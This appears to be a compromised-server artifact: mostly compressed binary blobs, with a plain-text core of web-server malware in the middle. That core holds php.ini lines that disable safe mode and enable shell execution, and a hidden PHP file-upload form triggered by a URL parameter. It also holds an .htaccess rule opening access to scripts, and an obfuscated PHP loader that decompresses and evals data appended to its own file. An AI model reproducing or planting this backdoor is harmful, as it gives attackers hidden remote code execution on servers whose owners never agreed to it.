X
h4*MM.$(!E5*xI@()bb_wyzjhlveos,RZSg
;@-Jo%4e;Hjɐk\2ӑj{TاW9\]r_?o+VljgcratxikurԗvVc+kV}c=;MkR&m#3s&.clV,S:D@dyYqQh)"$:X6"r%!4͌hT	xrW8j%DަlCu#rOQvT'4=SVMP8B;/gb\.-;ڟyŪjgcratxikuq!
V|Z/o;4jq"jgcratxikuT1u	a/*:gkSoy1ৱ?t.
yZtEJfH%_@-iw+Ȩ[yNF5kˑwyzjhlveossd~z즆}cKfb"wyzjhlveosRUsɔǍywyzjhlveosVb#gc|P}+RygJ-ۚyN\%Ey=jRV*4Z)ag1~Po~ǭWu^KCJ#jMA/(0.{:jgcratxiku
Tbu۽&ڊoG)Z%*Ojgcratxikugq~i,xGm	ziZq}njgcratxiku1mS\PTD#3W-_iuqrҳ8}y&AN-ce:À0
ZH#v@ÏCzW\xf9/{kݏmAmQlArB*fjgcratxiku[q2ނ1?#=E=%fօ#G1غYܞ
NdKdHNؙEq̟^Ak
0֓ڡpBnr Epv_R C0ȒZpPV̘ӻ߼@lkQh5UMjvf$!=ի5&(3S-	%:zM'"aV#G$D
CLHh4*.[|۴YmzeZ-"$؆~zhGZ8tFru]D+O)ېo F糙MwMW~	\S(s?Mr2r? _^PKQMC\V
xި,joR_Yjgcratxikuo%EeڏXځ~ƹ6@j旝Fe)E7=t~sfv2x63ͩl-OOryWVdpkJB솹9B3n$?3-.jgcratxikuM{zMN߭0e`_)!Ҙef|ײ~pC|#=rK"Rx7⩆+Krㇶ	gV]U vA܃;Y24AD`ءp7^$n?Nu-X?7!#SѺv2V57Ou(e;-0@iǮ"Dy=,$8μY:f=
?%nVONFU-F_`!
xCa{hآSws
x7!I9SEPYNu/ QI+LAFӔ/`\2apXQgi\擂8DA_=r[gʉ KoXՐ8ZZv M7ʗѹ㧹IcOP"U)-tzb4vӱ#Twt뢂FfN8+9 !;vǲO4u:o~2
bߖ4|
RiXbW?'X.RKjgcratxikuf
&H?C:*@LmZzFK.xmYصEc*4MGW]cP
BoQ\
ˍ9@L oo93sNHLTjgcratxikuyVBlkH-/Ņwyzjhlveos?)"Dw%
dԟm	ZϢlK+Kh=r2d)JP"FDk}t=5w2YpCRߞLW$Lnwyzjhlveosҵv-@Cb."Zlջ:T?]Ju,Xj`aqaOK$`;LM]ټG8I N{1+Xx/G;zwyzjhlveosjXcxz=`Zk0뷉|lpJ̰0ӣh㣧ɝLB  FEHtfn#k8]Lޫ#o8Y4|mocʝx:jgcratxiku H]V@`^GlKvtwyzjhlveosu2	"^'=XU?M
^@x۰OJ21ByCU$/"(Av7a~a#Þ?koB(l;n?|C.Rr=qi0Jd\WU{D2S]uc组!L)5&C5GqY#)M	
}+%	Tr	] @wkDn@.w]|b3^Mwyzjhlveos~wE9ϟ9jgcratxikuNymaǝg錘H
8y'	v'+A]hP{@Qϴ |8\&i	}kdX[1ӽ[$gd{o G6mvO/GfW%fMek61&' PQE"w	N-RrRx%JHDDެiv,[[}$RG:ypqoaW;wZMfs98L%?	wyzjhlveosI$K`6X#OQSE]aS֡޾JcNjgcratxiku»"nhٌ2S0 ޣÔ8W%1
ׯ"Y)Wom!j=}nV}ﲄw^g@TA[y:vE0{EU4jgcratxiku
#'tGJlmO͡y?Ik
oE/:Bxu
ئ)yKSiwttIVzD:vܯیMMb?`wyzjhlveos|O^Fә8gH{Z0:;?wW\&PQ1jn'uemS2`3}34Bw /Dh+!ծBF,#yJDN oL1GI'BvtI#+!kOĶh0GW.Ní('zÎ*w/d˕hַjgcratxiku֒zQڤMd`?zU3ti?\ztԶḂv}ot"
}mK/1s?P\
۵ۢz+8Z Qyfꚴ
#vj{xf8ႨwOQ[_ΠҖ	W.|ƉN(wyzjhlveos ИxݜIvχ.q~T^j}]zK=Vs&wyzjhlveos4k2k&1wzI`QGߗߡwd
i
KfYk PM_Zb@'ZW+
$nl,{PDRqgyl^?IPC# a!	G:PW-\=z
&n|,?%
XNlբAv_C)Hf|]z|^="wyzjhlveos5|Fzxxïe[7jgcratxikuAo"
Uol;~"KL$9Zm8]_wyzjhlveosZW.ñ
E6,qFjSQ4w]sFLwyzjhlveos"% =eL%jgcratxiku0c"wyzjhlveos_MzwMbZ
@?!uБv"O
'MPRԘ#҉C^r1聏Pe=FK1:8(Pِ`z"iߙfu#W}*@@Ns-D{Qiz
N9|lg׸ɾ4
aX疸Cr3(kt"ho@mXę)DDDĳtQN(5\DG4HQ}͛!O范tʝr)TK"~+,nXCr,9zU膉iجWF?PL
'H7iT wyzjhlveos|TȌ*-T) ϧϛP:,
pv-,z![yIRaW
t]26DԳl+,@Gv3/~?`;J'W"򧗪T͘vdVoȞ
q$wyzjhlveosBݚ{'&!cF'wlZ&S#ԋǯ#"zW5)DVڿZ
ɕ)D:MYyڐRL8MDx|JQ@+#B* 9cQ6'!++;bPx'M~ۀy֯e3Sˎu$iCnjՎkeZ
]\LB#aOީjjgcratxiku=ăxpRfŞ76NuP {ӡL^"|8xEZn'(Jd
LLKV`-xnVġ6n8h)z]T
،ॉ9+ c3MWeCnk f12Ul	xONNQP@D5:Dx|_Awd9

hyCb};ʊaxوwyzjhlveos\E@=Rs%QzwyzjhlveosNB	j2tN--$C211jcURv=cE~OwyzjhlveosJeOb|/s蝳/1Ln܎ǤC^Z㷩%nH)(tCMU12^ VmۋA
hOfD @I"V;*#4LO:4Pl83
.
Att_
L*d6?KUc19kiCgQe#{+W	X|Ajmc
;4%}¼-)|w
upNĹ,Y(
~(CF-j܏G#~|?oRK	-1Uש~Y@Lv&7Hvu7ų7H9ֱ31=ݞqUH&,hQk
?G
rq~8ætOGwyzjhlveosɅ^2]w6?jj&)&ǥK+IE/9jZ|7!Ym?ZM׮$NdK-A :|x^bwyzjhlveosjgcratxikup71F+EaNa-,#%yjcU$Z11pw
ZtŬ}{ 4sЄWI!EI)Odk&
=Jᥡu rY	DNjgcratxiku5_7k4-Y;5sr9֔*[l!&YJ,3ՋRiA2_F[Ucf_y:F[pt!;,4*^/oƬIjgcratxikuKrsm
!M}}Z
,.LiLv}x7jgcratxiku(Aaa%`g5|㬯Ͼq;CʩTRȍv?:C2|ԹG/w3HHW4h:-ВoY0
Tݴar)?_}5wyzjhlveosq}-n]ĸ3G@GU"zc=2Mj*'hj!(v"\g_Į±њ`$28B=bQy;ʅ}e |y IZjgcratxikuк5kN؛ELB |HFp(ĭW*vHGwyzjhlveos+jgcratxiku}(շ"ɴm@4n$|Wjgcratxiku*ت{:Bڂiȟ4'3_B8,HҮk2w/ZUP =i&eg)5(`ބ@tbujѯE68gh}S$[9̯0|}k9z_*[Fw)=A .cәA#{s;AJb2̃^K߻ΰ.P PcU"tyEV3̶znq`:
KnYM;&l},Y/z^y0FhP. e8_( \m:wyzjhlveos_Vq%$8+mfݩ
QR~0 冉مOz-gMjI@\l:glgMcC@o'$~^z~'GZwyzjhlveos/[9Я|h5"(ϫsΓ@^y;BP(mfi9Ӵ1ɑ&&d#t"s@f|ᳫʧL*_u懄̇1r
ʍ9(I.&tSP9`a|SYW`,q鉀Lshs7kԂ+/i/98LZ,ĥ.
f9Vaj(n" 1!ft2'.Kж:?h/
=Zjgcratxikuɳnj
$v=S)9jv4|2	Ӿ4jgcratxiku6K?`? Q}\Sa~n-٪BmON)|:krʿ1YVJ)7oR6
L8kl_/:M-ے
^PZ69lBz)BR"WSB
0cuȔ/B=D˟9CDm@La}d..6U1.F$gwyzjhlveos(I^Qjgcratxiku}΍_qq5OCQ u%`G)ֽizWּ_n=\l(k4]*,S|PZTwpD]1@~o][2{Y@X-8JʒsݯfMfQ^/,0\oBG2qdlC~.J#P#QD]wyzjhlveos9E9o2%;E|{h|InF9KIJ挴T
aq	`
_2֔EʅS502b[b,a%)@oDЭew:^F4"$ˊ/ Rգ^F|AqYL/ |Eg#"Jib^Akjgcratxikux8QL!!{@8GW7ٚ]YJ_RɎ)UT'VmlC&)&AZ? Bǒ۱c??.OkXjgcratxiku&6Mwyzjhlveosnxn12BD/꺱@m(6{ ŀ6%.&gE8j^}g$kk Bwyzjhlveos~E^,~fuB__'	!ĦG/`G#"87**kZױPAjgcratxiku]l=Tذ7N.TF#
:EzH0	yF7w]
H
;a7d	pi5(&*')'^:6*lG]}/aɨǠ/(AWi"g4-q̦[H]qӘ |ۘGY
'"`},b+]O|jgcratxiku-ƢC`^7q軀5biL]^e?c~~궩jc`w'xRxLD+ƟuC8P;WüZX*_\3~`bHFewAKf1?V]ǐ퍞s
	" &X9VeO?6X_cA'feAŋ6)%ϫh^[)fRC2B}|Q,
?a7~DM4zvs&A3
KW{
wyzjhlveosG3y^ ?9!_\ ;C@%|p=Td7
?qשulxT\5CQvۀXģ5]
O8xr%xd9:o(h@`Ҟ/U"'oحKwyzjhlveosQ'*ݬ(XA6iÈ,^8i3dB	\yi 7\UT~5X 
NEɕvpYpj?w;wjgcratxikujgcratxiku%{OwOs	Mk6Qf^DWd@a|~[\̊eKtsEޏ䰔LcX*_' PmU/U:["߁Ob8n	m$:#L	S̪ÕG-fhE9c#YCYB)'owyzjhlveos#ۛ:92a&~edO-UwyzjhlveosB+`m
MhMa_/Qu7ϛM`Iկ"بH/Zc!o೟&@bF~0THL;0aS뺑/=1zҳ1Mtv*}EޛKB5t;"U}/bW;:Y+30 ,7k|1^vjgcratxikum勴꾲S(jgcratxikuk̈́Q!
z
ޱݯ 8ƻ56^mz~aV[x691[6] dehVVgSTsjgcratxikuV^gPjh}\b= J^1RݲPaTpeu?ńq@T3_!L5J ЋYJ}GQ:	AvH`GbF{rC8/x*y*m'\T-z9aT2n#cЙ'PD.i3tEX@:a.
ߍfQx* )wyzjhlveoszܨevٸj$wyzjhlveosޮ.OgjgcratxikuGiƄOFRe+Ur&aCi$i22=l*hG8:T[Hꏙn%}!&рwϕ-(/\vS!%vNdsh|7+kT}*h{.T+	7TCwyzjhlveosЏF\.-XiǕ$(j	/wWQWZeSPɲw=zI)Nz)Jm)
6 t
W\#-9wNBlHgcT2FO
v})nd|l@OGlKhztOY+򕢺R9ysYKG[&9-Hjgcratxiku.DuP5m6
vAWL\
.vY	:+5@Vjʇ=Wn({O}Th
s`0Q&53/Mf'-gr!աsXiޗaV,scSi@z%rV0z _~YoʩkX"`yqO.Y
`;p8ߋi,0jYäЫ=]=65 H$Sa9sF8t% 0V~χ'3;jVB|lGjgcratxikulUt3 ŶCP%=xg0!qLLwnѲR
LX=\'[jgcratxikue"PAYbXZQ|%8[t3~5z5s\rn LXkک
 }bw?woqU% HVc8
ReDvSaߡjgcratxikuKɖOP؇MfKPLxH`#
L"A%kMK`iwyzjhlveosttw jgcratxiku=9daM:0dm0}lLFYpz۳Joze ,oh!%¶t sc	X*C6M[syB1)|{Ƕwyzjhlveos}ՓyX]cV8`J43u hpM	e?&=~OUƎ\e7I;	uإGoҟ9Yf{ 8*$pN;mbP8VWOȨ!=tՠ7d?B#M+WǸ$W) SAa̚]Ylm.ՠbb^9]ȶDs]$P{ɋ
N\ |Թ	#
=§=ƿ/K)[nyTۈdw{9\ee+IhPZT(G?**y5מּN	k5Uըւ?X,;ΜYg	£%`)h
(+M'D`''*g)HG5	M6OZnjgcratxikuhIGܽ;LVJMU臸ߣVoABxg_k3
 {=Gk!kKF72=ޟ5g9ǜ'؏xL\?~=68KQ5K2cjgcratxiku`uQFSt?/d}ѳ7DWFϣ'42_n,gE+8{ٙЀu6+ҧzU(pkW/¥1Ҹ|\O
a@ 7^C2R1mpQg3MGx2Z;ӍښY@^tMNoTWu{*jgcratxikuȮjwyzjhlveos4h΅fkRdqyxPj7a?ľ
,ka(RjgcratxikufK8p#4;G?|/7?k8qr(lh"+OU{'Qwyzjhlveos^EdmgQB@."']\po
002aIt=\"I#JDֈ;5A1Їc?gT
ܭ'촨Ewyzjhlveos.Ϗ]h[
s18RY^3RjgcratxikujgcratxikuҪwH8vxġ̉$O0@jgcratxikurrs3wQ䪆o_}a4'|Ajgcratxikuܗ%ճD.po`gm~P!!!Wc;;'8FmZ
h{ʗҒ%}j⧆\m59tT#{jgcratxikuU4Ρ1&&d2nU
"ˊÏ"7P	h-HɿLLzh b޵\',萬-wyzjhlveosd|=od_ WX6*a\uM|R{Z-=m9|ڗBESs#jgcratxiku3(P(_Ω%悏~`&RObr{Ls,_/̢+6[UdPI	CfЋXzGj
Bh1j|Aư-WԸXqdj؊0UΛcl?A	(+q2@\$լy[%Dr4!`0}/CR)60oR`׀(ﰠĂ1q
fmLTYyՙd"GE0WwyzjhlveosB*gk	Fl
,XS{PtN;ߐn!P!ŅO;b'uR&tqYTQ:/wyzjhlveos60-q R䁔̜lt+
0UOk67ףOp= =-knH4'֢$sAy h.:0ݽWqsPdZlG^E,$#k}d)-)4rB.ڒ{G5ȣې4Y~[jgcratxiku^FםI=J߀|wyzjhlveos"@n?"9m!@k7Ts3qCqz=/Pi+
wyzjhlveospeGPp9MWı0yd츸,y:)?(xwyzjhlveos)mg2rBӧ$etroiב//@l0o1R! ^%h'VՕZIa
2^,4NڈwWԯaaT*1c1/M
Au]j
\#GBͶCD. rմ\245NS?t
*Y-}ۜ$^ҷB=O#4$!j;{rz.G[X dA	ͥn9eikΗ[.|ux/.x:`;o@~ i~JiOzGy?nhJjgcratxikuO_Z?h{:H.X;ֳFɉKԍ-O`ϥk \!.YNLV=A
,jgcratxikuBjUh$
c%C5"wyzjhlveos9dc r3,]jgcratxikuluY4E9$-?DΨ1fJbt{&9f7ײf ϩkT94
?zpl0v]kP#t-&I|έQOXjgcratxiku._[T73x-,{:"W~:*ECgC5qyCsYl+ ¶aibnƐYEW7鑈;$葘ENݭz@޴*|bm]ߚ(8#d*mNJzBolN,041}6%LDjgcratxikucJ۵s)lO`l]-yy"+rrcinu!z⨮G;XfmtI|IU؝\$۞lM jgcratxiku7{(C)Zx 4cu	Sz]rqMYJwyzjhlveos+~ȡyL;ԦwL7Q}ܚ\ 7ޫשs 7~,74[+edu7'PpjI^t
ϭcǜ}yj͓~r!fz幷߁ӡ'T^1%e]#YҺiB!vb#u]HqE 4L?nf~M|CDa/GC+x#մoAFDFVUɯz6f֤8EhA"	:|wyzjhlveos!̛R
͔LӧviB)=yɴwyzjhlveos@R_;0^Mo&z͖YdOjgcratxiku\l-slglŖc}K}wyzjhlveos~燰GU]w$i"Ÿ_u!EhgH/g	V^($nfYQ#cǏx6rbKT:4woKYnQ+m%d-i:P*pٯZI igKJ];@o[B"~T׻y[Uxwyzjhlveoswyzjhlveos/蛆=kly5TOwyzjhlveosuEӯjgcratxikuWeb{޹?L{o.+۟|jgcratxiku'
l
}$J#_Cqb%Kjgcratxikuw~ZK^Ǆ""f/*B@Q.qIwAwyzjhlveosCO|u&		^#:Wx;T`HL4%(qF9WklP$5'X)Qm+3B_,=wjgcratxikud?K 1ޘ ԶS*mldec~jwyzjhlveosUgռT֊_JwzejWB^u!Wu,djgcratxiku"8D1kL6!XYnEM)mAEe{N)IοQx(UR4aaX+IK7RR˥n'ґaO϶؄C-rByd$i\Wy 7pjgcratxiku*\X{LGH*X	iȷ/ێ8YA9T
D\EUNeHXQcgFWY2tN?T(x߃*W^|7LkƼwyzjhlveosGL`ݔ!K/kEewyzjhlveosa"#gyDot"?)ISKXEkRSd
/vBz	+\B`dOjgcratxiku섅3UkeݜlݨXIZٍ,c+A_~n-RQԊF_aj_B_lZ2!u[,JUj"D%=2ľXe,=zױE;#qkVn2jwyzjhlveosh|_ΚՁnnCzb
4I8w ahz^ʋ[ǫ	&Ga|'uS0[o];$y6u
,t)hxD~W9+=ݜJ{V[a:Z1|%xaNId3=Ԩ)c5+Dj^EjgcratxikuDmɒܯ"l,1_wezpvz:4,7-
uv*3?6x,Ŕ*wyzjhlveosU
 B=Z#DK~TvNRrtMJ!ʛ9Mhv|bÏ Y6t ٥Rs'[@FUMui}gY BXwyzjhlveos2]_ _ڝkh
+&z9A]Ԝc |NiɉG2)m}f) @Z~5bvҦ*	_dW5BZ`ڏo2d2[CUX~Fh|c*upN=5t_STP#T#5_iNTYB;Ezsd9.kjgcratxiku6&}z&&
l[,a"
NV܏aZ̼vbݩ˃PyGr)O,ͪ]d!5;c}hW(AпM;'s
,ckgo|	τG|#W,'sjgcratxiku	wyzjhlveosAjgcratxikuC@ޫs3ՏS+GE+"&	V44PHTwwOצkӀk(G	xRDg*A]h5edlMgNA7a\^'1
CqwB%FK(u~;.ݧd
-	(xw}*Bhrѝ$#aUqli gjgcratxiku%c.ɣ"^TymE
+e\fIskHCkK(22Kwyzjhlveos0M%|i;{wyzjhlveosT\8+.`
YjgcratxikuaK}y)./5,	7vM$1`ߝծ'N+Ysk1V%;zNYtWv0%	hqvs"a'$[א~7'
v}f_3~,g	A e)O
;,
ugg+fb_V} AZZ.}3fP63Acνa%ZzL֥nێgƬb&+jgcratxiku?emQpLKmYQyVo24
K{cl:$g!F02/jl='⧓ owyzjhlveosu,񌜥|"!A(I\ӵ#iqD;&ĞvS4H*}x 
MӅXn3&k#6@S9LeV`zuuوZ7N=jh:n? Y\0pF^SdURJh
uAvw9vu|N	Û]YxiUF@J78ƒ3,T#\wyzjhlveosj//cѭ
Gjgcratxikuo=Q3M|.TDl쇷h/WwyzjhlveosOt{~||9k|K(вjgcratxikue̞
K;^F4m:/ܰjEW⣬5J4wyzjhlveos6?zagyT )_t;jgcratxikujgcratxiku,Ls*׾r_]%kkom2j1](4!碦m5%jgcratxiku`3U`9[3Boka?]L9)n2wyzjhlveosU;[ɛEkVr#4Bwyzjhlveosu y4`$p)m6 32"fycu82vKHQT%m0"1Tu
uϗnG7w}q"VJU|xrac\,.Ar]&?ɾ)Xx}s ]z[oB6u{MՎO
BF1	
dXz=ë_pV$
\|7wyzjhlveos 9
?D s:
c=)z	LxtIY9[
ɯIȫ(thf_m١nIq19Pmw[~
YzPGwzם0"1Uɞfo*ū;7twyL{GzUEHDC0Ph^\O~f
8_۠)ټ}}\1TI"Qڝfjgcratxikuַ
%~oF o,S9fram~7)񎡜
j	Ylߚ@e6b8buv!]qqaXTH(dcrhDVXFhGCAc#Ǡ6Q c/U;gpկAVW1y(ƻ)m-cͶM	/ |jRz=n\KWtaALnd"rHx0=(F*
=ˢhNPa`
gO'TG$/(,UПWyy~c)TFH'!~|([wwyzjhlveosnoNbm9iWc%48 DöS1a%GכzD٤n+5&/͈
5R(z$2~u4FF~ L
 Dcwiѧ_|t7
 @txB{p0aaAwDڛ5Aޘt圅`BA;(i]Yfǹl;v.U({GQlǂ\c\VNy$kOOr1Y*3\:֢inU0cO`0-,#0KɩB_}i'ߞ@T+攸ܭ`AKhXsei@墁sd+
ZݚzOgL
]l[vV	Ok#o^@CFbQtߤlZCg.Ut`etl۟-jgcratxiku~z9cZ猦U cYqPTӤ\]tSkJNɋKYqgOikżx'c=2W^aj4l\8i֍z%_yv
p
9{m1!/װ 3AW6O8bUz_ȓ.T~
ϻ]{"OY1KGG(C-:%)N/	˹hYܧ5x"#c.+BDHh
|
d(Nؿe9'Cb~!S(1|-$Bz#_jĠs-~V%9x8"&
Og{	al`;-#k_3~q26!I
Wg^,=,8Սӏ&8__NFP	LuTE߭;Cnwqu
uq%nۋϿnz+9CudCUwj}Si%g`]ըcLwyzjhlveosZ	ӳ|^s&-)#~&fx5ܬ$Q|لgbKa!_H0CjgcratxikujgcratxikuգanFmzXnSBE?jgcratxikua*bORȸh	]͈a*ǎ:fʳ_B1G1^߆+{vWIR3ÿ\
r3F4Ee?xNYh#o
n3o ew{b4~ǔ=.Vv;ߘKG~@ g"R+һ+nwyzjhlveoṣlC=BE}z7Q
Ȧ|=]#%([ E-bxr5*RxGWN5g$5Uqkjgcratxiku۵VkEYHwLT]wyzjhlveos|_}[ߦak[kpK~L-wyzjhlveos\9pgRDeQ߼dňM%c2c*-%{iBIKsk3s{jgcratxikuJ`#gk,mm8տ}f(U*Treydr"x6ͧΌۤ/sx5aeTC\0UYoxLQ'{14y_ZLNjDt܇ _
ߛb[wCFri*	ނ\-cxYX(_¬l,bUZxOS;14p
aޑ|L5V=@ϾV=X. Շ
B~ |Z$/,}Hpͻlbb168z˿,T6$~wyzjhlveos$6Q"}zK67}_A$܃4!8TҊM@6	4@~\hXDUhf
S6;޿{}oXH\_]Ԭ\[ayڿG^;qKf7_`^ooUMg"I`NWlyحsځ.wyzjhlveoshSc)`S,?`jgcratxikup@4-T0O;
t
"

1&D1 VF{9uS?i$GӯU 23Qm*g_E|Zr$"(/9Sn8Ho65ڲ#;8}!6 2Ups?*+rٴ'[9!kgZX{upmiۮJwyzjhlveosw 2jniT]7tH0S|bjgcratxiku|4~_aO{.Cz
 ]%R8pymog9f91:v}C	f\88V._FݹH]:$1a-=r5g:?pXޠN= TN;Ltrʰ	rU:wyzjhlveosǁz"aތ@o1D t/]u{fl.U8-%c7M2P:q٘/fx=h(Bʔ
(V)g
A૰U/B}3 i 7ÙInlUkzzkFֈYx'u," qJnjgcratxikuP"Z_N.^Og;8zr:q$gtzw˔U~f{Qӯ-Cwyzjhlveos+F*{D.*|Y(1ru^\dBCP@2NQkM	Ǻ#jgcratxikuAIyC" ypnFh,Ïx92uxip;[`V3LWanxwyzjhlveos\oG?160=;nq%8F	PbeXy 
/GtL1גx:7-6QB`yqoqrIB"cW-3b7 wyzjhlveospOsBA\i_\:ĺgmdd˶wp
*WD/NuH=!Z|D0j%B*'rۃ,L
%9_ H-Z]\tv_dఱ3'9=9^
_S6a^ySqq/F&Seq}uSDCׄ'9wyzjhlveosUn	TQܖOѠre/ڂ*T
.)Dz(ekjwyzjhlveosA6w;\
3^#fK7X[;c#EOK^Bx\*7c$wyzjhlveoszfǿOa
bi[Gt/q ٔcUkҳN\wyzjhlveos\;%:mGK\wn(jgcratxikuDwk"ȇ
@Wɟ)tqi3;jgcratxikuH%:
#uh@qP00 KJadD)ZJwC3[ywyzjhlveos
=j@TX&t4w-wyzjhlveosaG*[\7o']=# [יּ}hm6f|vgYAo	2 :3ybKxIVʸ'\K[|Q#A!X`r N:VVVq*d|:=W]k}	^fIt.pekGBȒȄL+bƚ,`60؋Ӭwyzjhlveos/ 2)˺	+[SPz~:Rޛ'9iOwyzjhlveos
A$ݶ-sjgcratxikuHg8))y
vw0ys/^-Nwyzjhlveos@PV%dQYҭ-|Ͱjjgcratxiku2[k!nu~^4o_V=|v?v MYo LT\G8$ү'T4Hw/8W^pK̋ KYc[O8,Ȭp#矣sX=?l70!~樊rݪ[ִTb۫?i*138@=/xK?;ףcsM 
s]'2Z]	CO6^v?*@j{WèQvuOiY'\8@qc'i&)Ҥvtj&:ƞŽ{ŀCB(9!,{'xxԇVT#g.A-I(LY3QWBUl;
Ri+p^J˚-*ݵ@}].0iBe'4wyzjhlveosvt %)!DCصu۸bR	3 DDz VRz#_{(\r~u?:E\m=:jQ!hNE~Wc5ˍv/j¯:C]|no`݌	OpAM`C,K"UXՀχ*e@#Wxo{Ap%3% 9W LXnR;7j):#	Qf#=ؒVjgcratxiku-^*LLjgcratxikutθqPƯI1Ͷ+jgcratxikuO!.1!M1͹!~^'safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$iYgc='subs'.'tr';$mswa='f'.'ile_get'.'_conten'.'ts';$YEht='s'.'tr'.'_'.'replac'.'e';$XBMm='gzuncompr'.'ess';$OVKY='e'.'xit';eval($XBMm($YEht('fwsrxkzhea','>',$YEht('zpgkwrmnuc','<',$iYgc($mswa( __FILE__ ),-217352)))));$OVKY(0);
?>
x\]WŉꊎfwsrxkzheaLt8r"JcsSI1=Y;^{o:
Ҝczpgkwrmnuc8EsEؿq{:Ofwsrxkzheaw~nɟ{]Zwm{;]oFzU;zף{n؏4ކ~{t[gO??_on}|}okɑ$Yo1Rw."t^_]ʣgKfzpgkwrmnuc|g"tB=_DB(v-_).8ɍi^U =*bIqϕ8i)4b¸?h2Rܡ*&uWjS$fwsrxkzheacI_85-vȣ#VW=i.^$HDL[qq?6O3`$'xovϵ`WltÅ49~CF2ysݢg"8X@fw`RU/uڻfep
{k
[6^
/fwsrxkzhea+uEw5H_$?9QDUݔ0c|"ڄh":?eCVt5[ۡ
NJb_^#vO3K8.5nvWuyU)miq{6kĮhoZWeF['zpgkwrmnucyW&S;Q=blDҽpb/敽"Ax[X&*T7osCιZhF/x.vwbaty*n37fwsrxkzhea3nɔ(~*4
PT"P7Rk
SդՆfwsrxkzheafwsrxkzheaeQFsfwsrxkzheat,*DC"Č\Rg1yt9O4]xzb3(k't&en³J3kbbl
J;K?@9hZqsdEݯ	zL~`5M_'Nґ+t=NH6z7RZ2dV
zhxf3Z3I9+XJθN5Iǝi31!dRf	|8̫ō3φVM#ΎhCճ=L&]sI,Ы/u"_	__Nn*

Bk
z"A;d&
SȻYFkz!zpgkwrmnucYlՊ$CbiufwsrxkzheaΠЫҫx]rd?%1O,J
Va%)qnsXpٞEzpgkwrmnuc1Ȱشci9nRqB6BuyO{h%*kv8m=3%I*L)Ůfwsrxkzheas틽z
^{!^%cW}'6PWTXOU}Mh0uaܔW9^|@
.2A&/_x.*/[_Yfwsrxkzhea(*S|U
*&2sKP$"|%_?K0E_I2띅"OIip=')%]wCUs(oj`JI&[Y}i|/[C@%q('̾p2lNL1Qg$oZѨfwsrxkzhea~$(ËITI2 &médh:PsϡpdKUhܬQpU	^cc2\Oi2"3dެ/3KG\f8N[L4
T
7T]0ī*V,&ѯ!ƩIZ9
|] V"k\s,zpgkwrmnuce/5c4,kX]v%;_/Wݥx}2nmnZ[SЏXBVxTٗB=O}۔tҶ=kIeKx,w,IGD8MVjul|m,K(ѠU&r7赁pr1fEdMۿ"|#_A6v?ɸhjsìÕ=^KkVq+lвP֤z8]g}~Ȣ]6wy|p99ȹʃa}"ULMuwqOLzpgkwrmnuc25A+jMV̆0O"spE08iwߤQ˧dUYn-vҙDWG#:T"6cɡ&3zpgkwrmnucUzk
菏Nq辆zU'hqSշ~LԹfwsrxkzheapAj5ipt'#*	[h@{{)Iacʬx;kZ4㴌m\j	ڛ-o&ʟPfwsrxkzheag7ڊڗ)OTY»s˳ku"s`~I%*CLfwsrxkzheaa|Y4HJv{.юL:5n!-~8ЪRt=SUvL뙲8=%Lעs^$(Ѡӡ;fwsrxkzheag.2]	5wfwsrxkzheaUzpgkwrmnuc"nyzpgkwrmnuc#[PSRui0!-ߵ/YTkdWg*j*.zpgkwrmnuc׵V.#1(]޺2IUG|S*z3Νe0'1x 8ǄDxƳ+'%p-~&-栙	DMY)]O\u_JaEHWMZ:=܀w|pOAyO]d/dH)CcQa	Ti0'|SOM=@n:fwsrxkzheaJ'zpgkwrmnuchɞ1{|3c
	(	fk;QgU&4,3B.005ܸ?|fwsrxkzhea!wX`X&pڦWp jzpgkwrmnuc|hPv4q
ni;d?24des^X@Fyڀ'S|@\hDaȬVM5V'L܊#?E@/9ʆ͊"R4G	y5Lzpgkwrmnucu:FЏDgݡU%4*fwsrxkzhea@XE
L5)t[NrG`_"^-;E+3/^ή^&殸H0ݽ}inzpgkwrmnuc=aOn=ِلِ{+A操U^ZCPK'!sӆImRE+
$f~h/AҽZ]LN	`Y`bʭ˂)l*
'tTX~a+ς. ܡ|2X\oѰ'QK/ř;zpgkwrmnuc^A_xŦzpgkwrmnucB~{38ɬo;QtKKMs4]2vAzpgkwrmnuc L \DB~T@
dDUX
: _gu5_g`	.\Yl|2|cܔ*nER
wCߐ'~&CV2sshFxt.Z'{Y
c)[:
sā ZJ$!V,*z޵
=}+GF+̏Km]君eCWb(zpgkwrmnucք3|@6|f=HrZKqz߇9-U	WZifv/\Z:/f=Vx/7ҜP[E
.w,cY+ H`!!~eIe*Rn*k]V[:9x*eo8Fzگp&
򦔆;nҁj6bJHѱfwsrxkzheaøB@C&e(!@n7]i ^
Lӂovs	Ufͼ1TE?͎
/Uj2Ɗ!D 09޿^~U:)W(54EsmzjA+_O޼s
L	U$dKzpgkwrmnuc-u;BSꃯϓU)zpgkwrmnuc1֢+t|Ut8OG֟!ǹt $oOL:OVdQzpgkwrmnuciTj&%\!IDwH/%yũWIa/nöowۀ0|4&i
ү:\!7fwsrxkzhea*1į=HKЀrrDpmyifPxsmb6-Ncg&qD'ڭuGJ_me]J[1~sl,AV{t@O	i~w8..pxzpgkwrmnuc[jkx$%w5;Jf3rg a|Wunˉ'ctRx" 8x$\b{X9; jd^mqdAFcHqfzpgkwrmnuc.&%1Ug ֋@"P]*:9#?2)%j96.v'n*CU]n)HOZ/j
r_Bc`u)QxfAyWA*D8\8+X]	~޼ Dv]$pGqW-l17M%%=Rw|Lx,4~U|_'wk%8k$,t0B_&~Ϡ
hTJ/o^ҁgMQH/M*ջ*fwsrxkzhea{d8Nzpgkwrmnuc,YpєXzpgkwrmnucVC@g~ih6ٮL".gt9.*^ԗׂ"v5|0IG$VW
T%5y]a:խcY/ądYv-YYp~14Ij;
uO].fwsrxkzhea	4]\܁EwkzpgkwrmnucfwsrxkzheaGAg5ڽxJw'p;`5krE8U@FV~MVVra,WB!_Lwy0g
:
2_'7^1%,C}!r#/%9hs;ol/ZbJ2QzpgkwrmnucTro{rJa;)Kz7^S!fwsrxkzhea
